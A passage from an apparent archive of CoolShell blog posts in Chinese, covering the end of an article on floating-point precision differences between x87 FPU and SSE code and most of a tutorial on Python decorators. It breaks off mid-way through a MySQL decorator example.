href=\"http://en.wikipedia.org/wiki/IEEE_floating_point\" target=\"_blank\">IEEE-754</a> 推荐标准实现者提供浮点可扩展精度格式(<a href=\"http://en.wikipedia.org/wiki/Extended_precision\" target=\"_blank\">Extended precision</a>)，Intel x86处理器有FPU(float point unit)浮点运算处理器支持这种扩展。</p>\n<p>非FPU的情况是用了SSE中128位寄存器(float实际只用了其中的32位，计算时也是以32位计算的)，这就是导致上述问题产生的最终原因。详细分析见文末说明。</p>\n<p>知道了这一点，我们可以man g++ 看一下文档，我们可以找到一个编译选项叫：<strong>-mfpmath，在32位下，这个编译选项的默认值是：387，也就是x87 FPU指令，在64位下，这个编译选项的值是sse，也就是使用SSE的指令</strong>。所以，就这篇文章中的这个例子而言，如果你在64bits下加上如 -mfpmath=387，你会得到“正确的”结果，而不是“合理的”结果。</p>\n<p>而在VS2012中C++，<a href=\"http://msdn.microsoft.com/zh-cn/library/vstudio/e7s85ffb(v=vs.110).aspx\" target=\"_blank\">编译选项可以设置(代码生成中)</a>可选，/fp:[precise | fast | strict]，本例中Release 32位下用precise 或者 strict将得到合理的结果(-202014160)，fast将产生正确的结果(-202014162), fast debug/release下结果也不一样哦(release下才优化了)。64系统下各个结果可以大家自己去测试下(Debug/Release)，分别看看VS编译后产生的中间代码长什么样。（陈皓注：我的VS2012在debug编译下，无论你怎么设置/fp的参数值，汇编都是一样的，使用SSE指令，而Release就不一样了，但是我的release下看代码的汇编非常怪异和源代码对上号，多年不用Windows开发了，对VS的使用仅停留在VC6++/VC2005上）</p>\n<p>所以，我们在从x87 FPU指令向SSE指令做代码移植的时候，我们可能会遇到向这样的浮点数的精度问题，这个精度问题会多次科学计算中会更糟糕。<strong>这个问题并不简单的只是在32位和64位中的系统出算，这个问题主要还是看语言编译器的实现</strong>。在更为高级的语言中，如：C99或Fortran 2003中，引入了“long double”来做可扩展双精度（Extension Double），这样就可以消除更多的精度问题。</p>\n<p>下面我们把程序改成long double，（注：其中的类型变成long double）</p>\n<pre class=\"EnlighterJSRAW\">#include\nusing namespace std;\n\nint main()\n{\n    long double p3x = 80838.0;\n    long double p2y = -2499.0;\n    long double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout &lt;&lt; v321 &lt;&lt; std::endl;\n\n    return 0;\n}</pre>\n<p>用gdb的disassemble /m main你会看到其中的运算的汇编如下（使用了fmlp指令）：</p>\n<pre class=\"EnlighterJSRAW\">//linux 32位系统\n8\t    long double v321 = p3x * p2y;\n   0x08048633 &lt;+63&gt;:\tfldt   0x10(%esp)\n   0x08048637 &lt;+67&gt;:\tfldt   0x20(%esp)\n   0x0804863b &lt;+71&gt;:\tfmulp  %st,%st(1)\n   0x0804863d &lt;+73&gt;:\tfstpt  0x30(%esp)\n</pre>\n<pre class=\"EnlighterJSRAW\">//linux 64位系统\n8           long double v321 = p3x * p2y;\n   0x0000000000400818 &lt;+52&gt;:    fldt   -0x30(%rbp)\n   0x000000000040081b &lt;+55&gt;:    fldt   -0x20(%rbp)\n   0x000000000040081e &lt;+58&gt;:    fmulp  %st,%st(1)\n   0x0000000000400820 &lt;+60&gt;:    fstpt  -0x10(%rbp)\n</pre>\n<p><span style=\"line-height: 1.5em;\">我们可以看到，32位系统和64位系统使用了同样的汇编指令（当然，我没有那么多物理机，我只是在VMWare Play的虚拟机上测试的，所以上面的示例并不一定适用于所有的地方，另外，C/C++语言和编译器和平台有非常大的关系） ，原因自然是我们用到了long double这个扩展双精度的数据类型。（注：如果你用double或float，在Linux上，32位用x87 FPU 指令编译，而64位用SSE指令编译）</span></p>\n<p>好了，我们再回到C#上来，<span style=\"line-height: 1.5em;\">C#的浮点是支持该标准的，其中</span><a href=\"http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx\" style=\"line-height: 1.5em;\">其官方文档</a><span style=\"line-height: 1.5em;\">也提到了浮点运算可能会产生比返回类型更高精度的值（正如上面的返回值精度就超过了float的精度），并说明如果硬件支持可扩展浮点精度的话，那么</span><strong style=\"line-height: 1.5em;\">所有的</strong><span style=\"line-height: 1.5em;\">浮点运算都将用此精度进行以提高效率，举个例子x*y/z, x*y的值可能都在double的能力范围之外了，但真实情况可能除以z后又能把结果拉回到double范围内，这样的话，用了FPU的结果就会得到一个准确的double值，而非FPU的就是无穷大之类的了。</span></p>\n<p><span style=\"line-height: 1.5em;\">所以，对于</span>C#来说，你显然无法找到一个像C/C++一样的利用编译器选项的来解决这个问题的“解决方案”（其实，用编译器参数是一个伪解决方案）<span style=\"line-height: 1.5em;\">。</span></p>\n<p><span style=\"line-height: 1.5em;\"><strong>而且，要解决这个问题也不是要修改编译器选项，因为这个问题明显不是FPU或是SSE的问题，FPU是个过时的技术，SSE才是合理的技术，所以，<span style=\"color: #cc0000;\">如果你不想你的浮点数在计算上有什么问题，而且你需要精度准确，正确的解决方案不是搞编译参数，而是——你一定要使用精度更高字节数更多的数据类型，比如：double 或是long double</span>。</strong></span></p>\n<p>另外，大家在写代码的时候得保证实际运行环境/测试环境/开发环境的<strong>一致性(包括OS架构啊、编译选项等)</strong>啊（<strong>尤其是C/C++ 而且，编译器上的参数可能会有很多坑，而且有些坑可能会掩盖你程序中的问题</strong>），不然莫名其妙的问题会产生（本文就是开发环境与运行环境不一致导致的问题，纠结了好久才发现是这个原因）；遇到涉及浮点运算的时候别忘了有可能是这个原因产生的；<strong>float/double混用的情况得特别注意</strong>。</p>\n<p><strong>Reference：</strong></p>\n<p>[1] <a href=\"http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx\">C# Language Specification Floating point types</a><br/>\n[2] <a href=\"http://stackoverflow.com/questions/6683059/are-floating-point-numbers-consistent-in-c-can-they-be\">Are floating-point numbers consistent in C#? Can they be? </a><br/>\n[3] <a href=\"http://www.plantation-productions.com/Webster/www.artofasm.com/Linux/HTML/RealArithmetica2.html\">The FPU Instruction Set</a></p>\n<h4><strong>附录</strong></h4>\n<h5><strong>80838.0f * -2499.0f = -202014160.0浮点运算过程的说明</strong></h5>\n<p>32位浮点数在计算机中的表示方式为：1位符号位(s)-8位指数位(E)-23位有效数字(M)。<br/>\n32位Float = (-1)^s * (1+m) * 2^(e-127), 其中e是实际转换成1.xxxxx*2^e的指数,m是前面的xxxxx(节约1位)</p>\n<p>80838.0f = 1 0011 1011 1100 0110.0= 1.00111011110001100*2^16<br/>\n有效位M = 0011 1011 1100 0110 0000 000<br/>\n指数位E = 16 + 127 = 143 =  10001111<br/>\n内部表示 80838.0 =  0 [1000 1111] [0011 1011 1100 0110 0000 000]<br/>\n= 0100 0111 1001 1101 1110 0011 0000 0000<br/>\n= 47 9d e3 00 //实际调试时看到的内存值 可能是00 e3 9d 47是因为调试环境用了小端表示法法：低位字节排内存低地址端，高位排内存高地址</p>\n<p>-2499.0 = -100111000011.0 = -1.001110000110 * 2^11<br/>\n有效位M = 0011 1000 0110 0000 0000 000<br/>\n指数位E = 11+127=138= 10001010<br/>\n符号位s = 1<br/>\n内部表示-2499.0 = 1 [10001010] [0011 1000 0110 0000 0000 000]<br/>\n=1100 0101 0001 1100 0011 0000 0000 0000<br/>\n=c5 1c 30 00</p>\n<p>80838.0 * -2499.0 = ?</p>\n<p>首先是指数 e = 11+16 = 27<br/>\n指数位E = e + 127 = 154 = 10011010<br/>\n有效位相乘结果为 1.1000 0001 0100 1111 1011 1010 01 //可以自己动手实际算下<br/>\n实际中只能有23位，后面的被截断即1000 0001 0100 1111 1011 101<span style=\"text-decoration: line-through;\">0 01 </span><br/>\n相乘结果内部表示=1[10011010][1000 0001 0100 1111 1011 101]<br/>\n= 1100 1101 0100 0000 1010 0111 1101 1101<br/>\n= cd 40 a7 dd</p>\n<p>结果 =  -1.1000 0001 0100 1111 1011 101 *2^27<br/>\n=  -11000 0001 0100 1111 1011 1010000<br/>\n=  -202014160<br/>\n再转成double后还是-202014160.</p>\n<p>如果是FPU的话，上面的有效位结果不会被截断，即<br/>\nFPU结果 = -1.1000 0001 0100 1111 1011 101<strong>001</strong> *2^27<br/>\n= -11000 0001 0100 1111 1011 101<strong>001</strong>0<br/>\n= -202014162</p>\n<p>全文完，若本文有纰漏之处欢迎指正。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3008.html\"><img alt=\"Windows编程革命简史\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3008.html\">Windows编程革命简史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2672.html\"><img alt=\".NET代码转换器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-3-20 Python修饰器的函数式编程.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-11300\" height=\"233\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960.jpg\" width=\"280\"/>Python的修饰器的英文名叫Decorator，当你看到这个英文名的时候，你可能会把其跟Design Pattern里的Decorator搞混了，其实这是完全不同的两个东西。虽然好像，他们要干的事都很相似——都是想要对一个已有的模块做一些“修饰工作”，所谓修饰工作就是想给现有的模块加上一些小装饰（一些小功能，这些小功能可能好多模块都会用到），但又不让这个小装饰（小功能）侵入到原有的模块中的代码里去。但是OO的Decorator简直就是一场恶梦，不信你就去看看wikipedia上的词条（<a href=\"http://en.wikipedia.org/wiki/Decorator_pattern\" rel=\"noopener noreferrer\" target=\"_blank\">Decorator Pattern</a>）里的UML图和那些代码，这就是我在《 <a href=\"https://coolshell.cn/articles/8961.html\" rel=\"bookmark\" title=\"链接：从面向对象的设计模式看软件设计\">从面向对象的设计模式看软件设计</a>》“餐后甜点”一节中说的，OO鼓励了——“厚重地胶合和复杂层次”，也是《 <a href=\"https://coolshell.cn/articles/8745.html\" rel=\"bookmark\" title=\"链接：如此理解面向对象编程\">如此理解面向对象编程</a>》中所说的“OO的狂热者们非常害怕处理数据”，Decorator Pattern搞出来的代码简直就是OO的反面教程。</p>\n<p>Python 的 Decorator在使用上和Java/C#的Annotation很相似，就是在方法名前面加一个@XXX注解来为这个方法装饰一些东西。但是，Java/C#的Annotation也很让人望而却步，太TMD的复杂了，你要玩它，你需要了解一堆Annotation的类库文档，让人感觉就是在学另外一门语言。</p>\n<p>而Python使用了一种相对于Decorator Pattern和Annotation来说非常优雅的方法，这种方法不需要你去掌握什么复杂的OO模型或是Annotation的各种类库规定，完全就是语言层面的玩法：一种函数式编程的技巧。如果你看过本站的《<a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a>》，你一定会为函数式编程的那种“描述你想干什么，而不是描述你要怎么去实现”的编程方式感到畅快。（如果你不了解函数式编程，那在读本文之前，还请你移步去看看《<a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a>》） 好了，我们先来点感性认识，看一个Python修饰器的Hello World的代码。</p>\n<p><span id=\"more-11265\"></span></p>\n<h4>Hello World</h4>\n<p>下面是代码（文件名：hello.py）：</p>\n<pre class=\"EnlighterJSRAW\">def hello(fn):\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    print \"i am foo\"\n\nfoo()\n</pre>\n<p>当你运行代码，你会看到如下输出：</p>\n<pre class=\"EnlighterJSRAW\">[chenaho@chenhao-air]$ python hello.py\nhello, foo\ni am foo\ngoodby, foo</pre>\n<p>你可以看到如下的东西：</p>\n<p style=\"padding-left: 30px;\">1）函数foo前面有个@hello的“注解”，hello就是我们前面定义的函数hello</p>\n<p style=\"padding-left: 30px;\">2）在hello函数中，其需要一个fn的参数（这就用来做回调的函数）</p>\n<p style=\"padding-left: 30px;\">3）hello函数中返回了一个inner函数wrapper，这个wrapper函数回调了传进来的fn，并在回调前后加了两条语句。</p>\n<h4>Decorator 的本质</h4>\n<p>对于Python的这个@注解语法糖- Syntactic Sugar 来说，当你在用某个@decorator来修饰某个函数func时，如下所示:</p>\n<pre class=\"EnlighterJSRAW\">@decorator\ndef func():\n    pass\n</pre>\n<p>其解释器会解释成下面这样的语句：</p>\n<pre class=\"EnlighterJSRAW\">func = decorator(func)</pre>\n<p>尼玛，这不就是把一个函数当参数传到另一个函数中，然后再回调吗？是的，但是，我们需要注意，那里还有一个赋值语句，把decorator这个函数的返回值赋值回了原来的func。 根据《<a href=\"https://coolshell.cn/articles/10822.html\" rel=\"noopener noreferrer\" target=\"_blank\">函数式编程</a>》中的<strong>first class functions</strong>中的定义的，你可以把函数当成变量来使用，所以，decorator必需得返回了一个函数出来给func，这就是所谓的<strong>higher order function </strong>高阶函数，不然，后面当func()调用的时候就会出错。 就我们上面那个hello.py里的例子来说，</p>\n<pre class=\"EnlighterJSRAW\">@hello\ndef foo():\n    print \"i am foo\"\n</pre>\n<p>被解释成了：</p>\n<pre class=\"EnlighterJSRAW\"> foo = hello(foo)</pre>\n<p><strong>是的，这是一条语句，而且还被执行了。</strong>你如果不信的话，你可以写这样的程序来试试看：</p>\n<pre class=\"EnlighterJSRAW\">def fuck(fn):\n    print \"fuck %s!\" % fn.__name__[::-1].upper()\n\n@fuck\ndef wfg():\n    pass\n</pre>\n<p>没了，就上面这段代码，没有调用wfg()的语句，你会发现， fuck函数被调用了，而且还很NB地输出了我们每个人的心声！</p>\n<p>再回到我们hello.py的那个例子，我们可以看到，<strong>hello(foo)返回了wrapper()函数，所以，foo其实变成了wrapper的一个变量，而后面的foo()执行其实变成了wrapper()</strong>。</p>\n<p>知道这点本质，当你看到有多个decorator或是带参数的decorator，你也就不会害怕了。</p>\n<p>比如：多个decorator</p>\n<pre class=\"EnlighterJSRAW\">@decorator_one\n@decorator_two\ndef func():\n    pass</pre>\n<p>相当于：</p>\n<pre class=\"EnlighterJSRAW\">func = decorator_one(decorator_two(func))</pre>\n<p>比如：带参数的decorator：</p>\n<pre class=\"EnlighterJSRAW\">@decorator(arg1, arg2)\ndef func():\n    pass</pre>\n<p>相当于：</p>\n<pre class=\"EnlighterJSRAW\">func = decorator(arg1,arg2)(func)</pre>\n<p>这意味着decorator(arg1, arg2)这个函数需要返回一个“真正的decorator”。</p>\n<h4>带参数及多个Decrorator</h4>\n<p>我们来看一个有点意义的例子（文件名：html.py）：</p>\n<p>在上面这个例子中，我们可以看到：makeHtmlTag有两个参数。所以，<strong>为了让 <span style=\"color: #000080;\">hello = makeHtmlTag(arg1, arg2)(hello)</span> 成功，makeHtmlTag 必需返回一个decorator</strong>（这就是为什么我们在makeHtmlTag中加入了real_decorator()的原因）<strong>，这样一来，我们就可以进入到 decorator 的逻辑中去了</strong>—— decorator得返回一个wrapper，wrapper里回调hello。<strong>看似那个makeHtmlTag() 写得层层叠叠，但是，已经了解了本质的我们觉得写得很自然</strong>。 你看，Python的Decorator就是这么简单，没有什么复杂的东西，你也不需要了解过多的东西，使用起来就是那么自然、体贴、干爽、透气，独有的速效凹道和完美的吸收轨迹，让你再也不用为每个月的那几天感到焦虑和不安，再加上贴心的护翼设计，量多也不用当心。对不起，我调皮了。 什么，你觉得上面那个带参数的Decorator的函数嵌套太多了，你受不了。好吧，没事，我们看看下面的方法。</p>\n<h4>class式的 Decorator</h4>\n<p>首先，先得说一下，decorator的class方式，还是看个示例：</p>\n<pre class=\"EnlighterJSRAW\">class myDecorator(object):\n\n    def __init__(self, fn):\n        print \"inside myDecorator.__init__()\"\n        self.fn = fn\n\n    def __call__(self):\n        self.fn()\n        print \"inside myDecorator.__call__()\"\n\n@myDecorator\ndef aFunction():\n    print \"inside aFunction()\"\n\nprint \"Finished decorating aFunction()\"\n\naFunction()\n\n# 输出：\n# inside myDecorator.__init__()\n# Finished decorating aFunction()\n# inside aFunction()\n# inside myDecorator.__call__()</pre>\n<p>上面这个示例展示了，用类的方式声明一个decorator。我们可以看到这个类中有两个成员：<br/>\n1）一个是<strong>init</strong>()，这个方法是在我们给某个函数decorator时被调用，所以，需要有一个fn的参数，也就是被decorator的函数。<br/>\n2）一个是<strong>call</strong>()，这个方法是在我们调用被decorator函数时被调用的。<br/>\n上面输出可以看到整个程序的执行顺序。</p>\n<p>这看上去要比“函数式”的方式更易读一些。</p>\n<p>下面，我们来看看用类的方式来重写上面的html.py的代码（文件名：html.py）：</p>\n<pre class=\"EnlighterJSRAW\">class makeHtmlTagClass(object):\n\n    def __init__(self, tag, css_class=\"\"):\n        self._tag = tag\n        self._css_class = \" class='{0}'\".format(css_class) \\\n                                       if css_class !=\"\" else \"\"\n\n    def __call__(self, fn):\n        def wrapped(*args, **kwargs):\n            return \"&lt;\" + self._tag + self._css_class+\"&gt;\"  \\\n                       + fn(*args, **kwargs) + \"&lt;/\" + self._tag + \"&gt;\"\n        return wrapped\n\n@makeHtmlTagClass(tag=\"b\", css_class=\"bold_css\")\n@makeHtmlTagClass(tag=\"i\", css_class=\"italic_css\")\ndef hello(name):\n    return \"Hello, {}\".format(name)\n\nprint hello(\"Hao Chen\")\n</pre>\n<p>上面这段代码中，我们需要注意这几点：<br/>\n1）如果decorator有参数的话，<strong>init</strong>() 成员就不能传入fn了，而fn是在<strong>call</strong>的时候传入的。<br/>\n2）这段代码还展示了 wrapped(*args, **kwargs) 这种方式来传递被decorator函数的参数。（其中：args是一个参数列表，kwargs是参数dict，具体的细节，请参考Python的文档或是<a href=\"http://stackoverflow.com/questions/3394835/args-and-kwargs\" rel=\"noopener noreferrer\" target=\"_blank\">StackOverflow的这个问题</a>，这里就不展开了）</p>\n<h4>用Decorator设置函数的调用参数</h4>\n<p>你有三种方法可以干这个事：</p>\n<p>第一种，通过 **kwargs，这种方法decorator会在kwargs中注入参数。</p>\n<pre class=\"EnlighterJSRAW\">def decorate_A(function):\n    def wrap_function(*args, **kwargs):\n        kwargs['str'] = 'Hello!'\n        return function(*args, **kwargs)\n    return wrap_function\n\n@decorate_A\ndef print_message_A(*args, **kwargs):\n    print(kwargs['str'])\n\nprint_message_A()</pre>\n<p>第二种，约定好参数，直接修改参数</p>\n<pre class=\"EnlighterJSRAW\">def decorate_B(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        return function(str, *args, **kwargs)\n    return wrap_function\n\n@decorate_B\ndef print_message_B(str, *args, **kwargs):\n    print(str)\n\nprint_message_B()</pre>\n<p>第三种，通过 *args 注入</p>\n<pre class=\"EnlighterJSRAW\">def decorate_C(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        #args.insert(1, str)\n        args = args +(str,)\n        return function(*args, **kwargs)\n    return wrap_function\n\nclass Printer:\n    @decorate_C\n    def print_message(self, str, *args, **kwargs):\n        print(str)\n\np = Printer()\np.print_message()</pre>\n<h4>Decorator的副作用</h4>\n<p>到这里，我相信你应该了解了整个Python的decorator的原理了。</p>\n<p>相信你也会发现，被decorator的函数其实已经是另外一个函数了，对于最前面那个hello.py的例子来说，如果你查询一下foo.<strong>name</strong>的话，你会发现其输出的是“wrapper”，而不是我们期望的“foo”，这会给我们的程序埋一些坑。所以，Python的functool包中提供了一个叫wrap的decorator来消除这样的副作用。下面是我们新版本的 hello.py。</p>\n<pre class=\"EnlighterJSRAW\">from functools import wraps\ndef hello(fn):\n    @wraps(fn)\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    '''foo help doc'''\n    print \"i am foo\"\n    pass\n\nfoo()\nprint foo.__name__ #输出 foo\nprint foo.__doc__  #输出 foo help doc\n</pre>\n<p>当然，即使是你用了functools的wraps，也不能完全消除这样的副作用。</p>\n<p>来看下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\">from inspect import getmembers, getargspec\nfrom functools import wraps\n\ndef wraps_decorator(f):\n    @wraps(f)\n    def wraps_wrapper(*args, **kwargs):\n        return f(*args, **kwargs)\n    return wraps_wrapper\n\nclass SomeClass(object):\n    @wraps_decorator\n    def method(self, x, y):\n        pass\n\nobj = SomeClass()\nfor name, func in getmembers(obj, predicate=inspect.ismethod):\n    print \"Member Name: %s\" % name\n    print \"Func Name: %s\" % func.func_name\n    print \"Args: %s\" % getargspec(func)[0]\n\n# 输出：\n# Member Name: method\n# Func Name: method\n# Args: []</pre>\n<p>你会发现，即使是你你用了functools的wraps，你在用getargspec时，参数也不见了。</p>\n<p>要修正这一问，我们还得用Python的反射来解决，下面是相关的代码：</p>\n<pre class=\"EnlighterJSRAW\">def get_true_argspec(method):\n    argspec = inspect.getargspec(method)\n    args = argspec[0]\n    if args and args[0] == 'self':\n        return argspec\n    if hasattr(method, '__func__'):\n        method = method.__func__\n    if not hasattr(method, 'func_closure') or method.func_closure is None:\n        raise Exception(\"No closure for method.\")\n\n    method = method.func_closure[0].cell_contents\n    return get_true_argspec(method)</pre>\n<p>当然，我相信大多数人的程序都不会去getargspec。所以，用functools的wraps应该够用了。</p>\n<h4>一些decorator的示例</h4>\n<p>好了，现在我们来看一下各种decorator的例子：</p>\n<h5>给函数调用做缓存</h5>\n<p>这个例实在是太经典了，整个网上都用这个例子做decorator的经典范例，因为太经典了，所以，我这篇文章也不能免俗。</p>\n<pre class=\"EnlighterJSRAW\">from functools import wraps\ndef memo(fn):\n    cache = {}\n    miss = object()\n\n    @wraps(fn)\n    def wrapper(*args):\n        result = cache.get(args, miss)\n        if result is miss:\n            result = fn(*args)\n            cache[args] = result\n        return result\n\n    return wrapper\n\n@memo\ndef fib(n):\n    if n &lt; 2:\n        return n\n    return fib(n - 1) + fib(n - 2)\n</pre>\n<p>上面这个例子中，是一个斐波拉契数例的递归算法。我们知道，这个递归是相当没有效率的，因为会重复调用。比如：我们要计算fib(5)，于是其分解成fib(4) + fib(3)，而fib(4)分解成fib(3)+fib(2)，fib(3)又分解成fib(2)+fib(1)…… 你可看到，基本上来说，fib(3), fib(2), fib(1)在整个递归过程中被调用了两次。</p>\n<p>而我们用decorator，在调用函数前查询一下缓存，如果没有才调用了，有了就从缓存中返回值。一下子，这个递归从二叉树式的递归成了线性的递归。</p>\n<h5>Profiler的例子</h5>\n<p>这个例子没什么高深的，就是实用一些。</p>\n<pre class=\"EnlighterJSRAW\">import cProfile, pstats, StringIO\n\ndef profiler(func):\n    def wrapper(*args, **kwargs):\n        datafn = func.__name__ + \".profile\" # Name the data file\n        prof = cProfile.Profile()\n        retval = prof.runcall(func, *args, **kwargs)\n        #prof.dump_stats(datafn)\n        s = StringIO.StringIO()\n        sortby = 'cumulative'\n        ps = pstats.Stats(prof, stream=s).sort_stats(sortby)\n        ps.print_stats()\n        print s.getvalue()\n        return retval\n\n    return wrapper\n\n</pre>\n<h5>注册回调函数</h5>\n<p>下面这个示例展示了通过URL的路由来调用相关注册的函数示例：</p>\n<pre class=\"EnlighterJSRAW\">class MyApp():\n    def __init__(self):\n        self.func_map = {}\n\n    def register(self, name):\n        def func_wrapper(func):\n            self.func_map[name] = func\n            return func\n        return func_wrapper\n\n    def call_method(self, name=None):\n        func = self.func_map.get(name, None)\n        if func is None:\n            raise Exception(\"No function registered against - \" + str(name))\n        return func()\n\napp = MyApp()\n\n@app.register('/')\ndef main_page_func():\n    return \"This is the main page.\"\n\n@app.register('/next_page')\ndef next_page_func():\n    return \"This is the next page.\"\n\nprint app.call_method('/')\nprint app.call_method('/next_page')\n</pre>\n<p>注意：<br/>\n1）上面这个示例中，用类的实例来做decorator。<br/>\n2）decorator类中没有<strong>call</strong>()，但是wrapper返回了原函数。所以，原函数没有发生任何变化。</p>\n<h5>给函数打日志</h5>\n<p>下面这个示例演示了一个logger的decorator，这个decorator输出了函数名，参数，返回值，和运行时间。</p>\n<pre class=\"EnlighterJSRAW\">from functools import wraps\ndef logger(fn):\n    @wraps(fn)\n    def wrapper(*args, **kwargs):\n        ts = time.time()\n        result = fn(*args, **kwargs)\n        te = time.time()\n        print \"function      = {0}\".format(fn.__name__)\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n        print \"    time      = %.6f sec\" % (te-ts)\n        return result\n    return wrapper\n\n@logger\ndef multipy(x, y):\n    return x * y\n\n@logger\ndef sum_num(n):\n    s = 0\n    for i in xrange(n+1):\n        s += i\n    return s\n\nprint multipy(2, 10)\nprint sum_num(100)\nprint sum_num(10000000)</pre>\n<p>上面那个打日志还是有点粗糙，让我们看一个更好一点的（带log level参数的）：</p>\n<pre class=\"EnlighterJSRAW\">import inspect\ndef get_line_number():\n    return inspect.currentframe().f_back.f_back.f_lineno\n\ndef logger(loglevel):\n    def log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            print \"function   = \" + fn.__name__,\n            print \"    arguments = {0} {1}\".format(args, kwargs)\n            print \"    return    = {0}\".format(result)\n            print \"    time      = %.6f sec\" % (te-ts)\n            if (loglevel == 'debug'):\n                print \"    called_from_line : \" + str(get_line_number())\n            return result\n        return wrapper\n    return log_decorator</pre>\n<p>但是，上面这个带log level参数的有两具不好的地方，<br/>\n1） loglevel不是debug的时候，还是要计算函数调用的时间。<br/>\n2） 不同level的要写在一起，不易读。</p>\n<p>我们再接着改进：</p>\n<pre class=\"EnlighterJSRAW\">import inspect\n\ndef advance_logger(loglevel):\n\n    def get_line_number():\n        return inspect.currentframe().f_back.f_back.f_lineno\n\n    def _basic_log(fn, result, *args, **kwargs):\n        print \"function   = \" + fn.__name__,\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n\n    def info_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            result = fn(*args, **kwargs)\n            _basic_log(fn, result, args, kwargs)\n        return wrapper\n\n    def debug_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            _basic_log(fn, result, args, kwargs)\n            print \"    time      = %.6f sec\" % (te-ts)\n            print \"    called_from_line : \" + str(get_line_number())\n        return wrapper\n\n    if loglevel is \"debug\":\n        return debug_log_decorator\n    else:\n        return info_log_decorator\n</pre>\n<p>你可以看到两点，<br/>\n1）我们分了两个log level，一个是info的，一个是debug的，然后我们在外尾根据不同的参数返回不同的decorator。<br/>\n2）我们把info和debug中的相同的代码抽到了一个叫_basic_log的函数里，DRY原则。</p>\n<h5>一个MySQL的Decorator</h5>\n<p>下面这个decorator是我在工作中用到的代码，我简化了一下，把DB连接池的代码去掉了，这样能简单点，方便阅读。</p>\n<pre class=\"EnlighterJSRAW\">import umysql\nfrom functools import wraps\n\nclass Configuraion:\n    def __init__(self, env):\n        if env == \"Prod\":\n            self.host    = \"coolshell.cn\"\n            self.port    = 3306\n            self.db      = \"coolshell\"\n            self.user    = \"coolshell\"\n            self.passwd  = \"fuckgfw\"\n        elif env == \"Test\":\n            self.host   = 'localhost'\n            self.port   = 3300\n            self.user   = 'coolshell'\n            self.db     = 'coolshell'\n            self.passwd = 'fuckgfw'\n\ndef mysql(sql):\n\n    _conf = 